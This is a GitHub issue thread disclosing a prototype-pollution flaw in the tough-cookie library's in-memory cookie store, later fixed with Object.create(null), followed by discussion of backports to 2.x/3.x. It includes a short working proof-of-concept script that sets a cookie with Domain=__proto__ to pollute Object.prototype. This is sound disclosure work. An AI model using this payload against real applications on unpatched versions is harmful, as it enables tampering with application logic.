Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Security Risk #282

Closed
Slonser opened this issue Jun 2, 2023 · 13 comments · Fixed by #283
Closed

Security Risk #282

Slonser opened this issue Jun 2, 2023 · 13 comments · Fixed by #283

Comments

@Slonser
Copy link

Slonser commented Jun 2, 2023

Overview

While researching a commercial product, I came across a vulnerability in their infrastructure caused by your library
Vulnerability occurs if you use CookieJar in rejectPublicSuffixes=false mode.
You can do Prototype Pollution when pass Domain=__proto__
It comes from this point in the code:

  this.idx = {};
  
  ...........
  
  putCookie(cookie, cb) {
    if (!this.idx[cookie.domain]) {
      this.idx[cookie.domain] = {};
    }
    if (!this.idx[cookie.domain][cookie.path]) {
      this.idx[cookie.domain][cookie.path] = {};
    }
    this.idx[cookie.domain][cookie.path][cookie.key] = cookie;
    cb(null);
  }

As you can see, this.idx - Object
If cookie.domain equals to __proto__ then you override global object prototype.
It seems to me that this is clearly non-obvious behavior. It also carries certain risks.

Fix

To fix this, you need to store cookies in Map, or you can use this.idx = Object.create(null); to create idx variable

PoC

To reproduce vulnerability, node PoC.js, you will see the printed string Cookie="Slonser=polluted; Domain=__proto__; Path=/notauth; hostOnly=false; aAge=1117ms; cAge=1117ms" in the terminal
But as you can see, script didn't set ["/notauth"]["Slonser"] property by it self.

// PoC.js
async function main(){
var tough = require("tough-cookie");
var cookiejar = new tough.CookieJar(undefined,{rejectPublicSuffixes:false});
// Exploit cookie
await cookiejar.setCookie(
  "Slonser=polluted; Domain=__proto__; Path=/notauth",
  "https://__proto__/admin"
);
// normal cookie
var cookie = await cookiejar.setCookie(
  "Auth=Lol; Domain=google.com; Path=/notauth",
  "https://google.com/"
);

//Exploit cookie
var a = {};
console.log(a["/notauth"]["Slonser"])
}
main();
colincasey added a commit that referenced this issue Jun 3, 2023
All occurrences of new object creation in `memstore.js` have been changed from `{}` (i.e.; `Object.create(Object.prototype)` to `Object.create(null)` so that we are using object instances that do not have a prototype property that can be polluted.

@fixes #282
awaterma pushed a commit that referenced this issue Jun 5, 2023
All occurrences of new object creation in `memstore.js` have been changed from `{}` (i.e.; `Object.create(Object.prototype)` to `Object.create(null)` so that we are using object instances that do not have a prototype property that can be polluted.

@fixes #282
@millerick
Copy link

Can this fix be back ported to version 2.x of tough-cookie so that consumers of packages locked to that major version can pull in the fix?

@awaterma
Copy link
Member

We recommend upgrading to 4.1.3 to move out of exposure: https://status.salesforce.com/generalmessages/1155

@millerick
Copy link

I would upgrade if tough-cookie were a direct dependency of mine. Unfortunately my dependency tree contains dependencies that are locked to tough-cookie@~2.5.0, and I have more confidence in a fix being backported as a patch version than I do in tracking down the owners of all of those packages to make updates to them.

@marcelstoer
Copy link

Same here. Would appreciate a back-port to 2.x and 3.x. Even though it'd be easy to achieve IMO I have little hope it'll materialize. I'm not seeing 2.x/3.x maintenance branches.

@bhsdodo
Copy link

bhsdodo commented Jul 21, 2023

Also, the same here. There are multiple npm packages locked to [email protected]. It would be great having this security fix back ported to version 2.x.

@colincasey
Copy link
Contributor

@marcelstoer @bhsdodo is the dependency on request? if so, you wouldn't be vulnerable to this security issue (see #293 for more details). In the meantime, we'll discuss a potential backport for 2.x/3.x.

@bhsdodo
Copy link

bhsdodo commented Jul 24, 2023

@colincasey Yes, it is request. Thanks for replying. Altough not being vunerable, the scans are pointing to this critical security vulnerability since it is a dependency 😟
As workaround, I am overriding the tough-cookie version under request with overrides npm option.

@mycahjay
Copy link

@bhsdodo (or anyone, for that matter) can you confirm whether 4.1.3 is backwards compatible with request expecting v2.5.0? A lot of frustrated googling eventually landed me here 😂

@joseph-galindo
Copy link

joseph-galindo commented Jan 18, 2024

@bhsdodo (or anyone, for that matter) can you confirm whether 4.1.3 is backwards compatible with request expecting v2.5.0? A lot of frustrated googling eventually landed me here 😂

I'm also interested in this, addressing similar security scans against request in a project.

I dug around a bit in this repo...

  • Moving from 2.x to 3.0.0:
    • has no official changelog, but can view the commit range here: 9ff4ba5...05b4713 . From what I can tell moving from 2.x to 3.0.0 is relatively safe, at a glance I am guessing the only breaking change was dropping support for older nodejs versions
  • Moving from 3.x to 4.0.0:

I had been planning to add a specific pnpm override, but considering the convo in #282 (comment) , I may just defer until a 2.x backport exists

@awaterma
Copy link
Member

We currently have no plans to do a backport. We do recommend moving to 4.1.3 to move out of exposure.

The work that is coming in 5 will be a large change from 4.x and previous versions, as the project has embraced typescript.

@joseph-galindo
Copy link

We currently have no plans to do a backport. We do recommend moving to 4.1.3 to move out of exposure.

The work that is coming in 5 will be a large change from 4.x and previous versions, as the project has embraced typescript.

No problem, thanks for the info!

@vverma-gg
Copy link

We currently have no plans to do a backport. We do recommend moving to 4.1.3 to move out of exposure.

The work that is coming in 5 will be a large change from 4.x and previous versions, as the project has embraced typescript.

This is the reason why I hate Node.. the over dependence upon community and expecting someone else to fix my problems.

I utilize many components which use tough-cookie and while the libraries are great but the maintainers are long gone.. thus now we are stuck with working code in production, that all of sudden has vulns and now way to fix them... or there it is, migrate to go/rust

@colincasey
Copy link
Contributor

@vverma-gg I understand your frustration but the fact is tough-cookie is still maintained and we take security issues seriously. And so do many Node.js projects in the ecosystem.

The root issue for most in this thread is that they have projects that rely on unmaintained libraries that include tough-cookie as a transitive dependency. This makes the mitigation effort harder since you don't have direct control over the version of tough-cookie used. So it makes sense that folks would request a backport.

But consider this from the maintainer's perspective:

  • The 2.x release is from ~6 years ago
  • The 3.x release is from ~5 years ago
  • The actual security vulnerability is with the in-memory store which should never be used in production since it has no ability to persist cookies

In this case, we decided not to backport because:

  • The code from the 2.x and 3.x releases is unfamiliar to many of the current maintainer we had concerns about validating the quality of any backported changes
  • Exposure of the vulnerability should be zero for production usage
  • Modern package managers have the ability to modify transitives dependencies versions:

The value of Open Source is that, everyday, well-intentioned developers are volunteering their time and effort so we all benefit. One downside is, as you stated, "it's unreasonable to expect someone else to fix my problems". But this isn't unique to the Node.js community. You could migrate to Rust or Go if you think that's your best option. Both are fine languages with vibrant communities. Just don't be surprised when you encounter the same maintenance problems if you rely on Open Source 😅

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

9 participants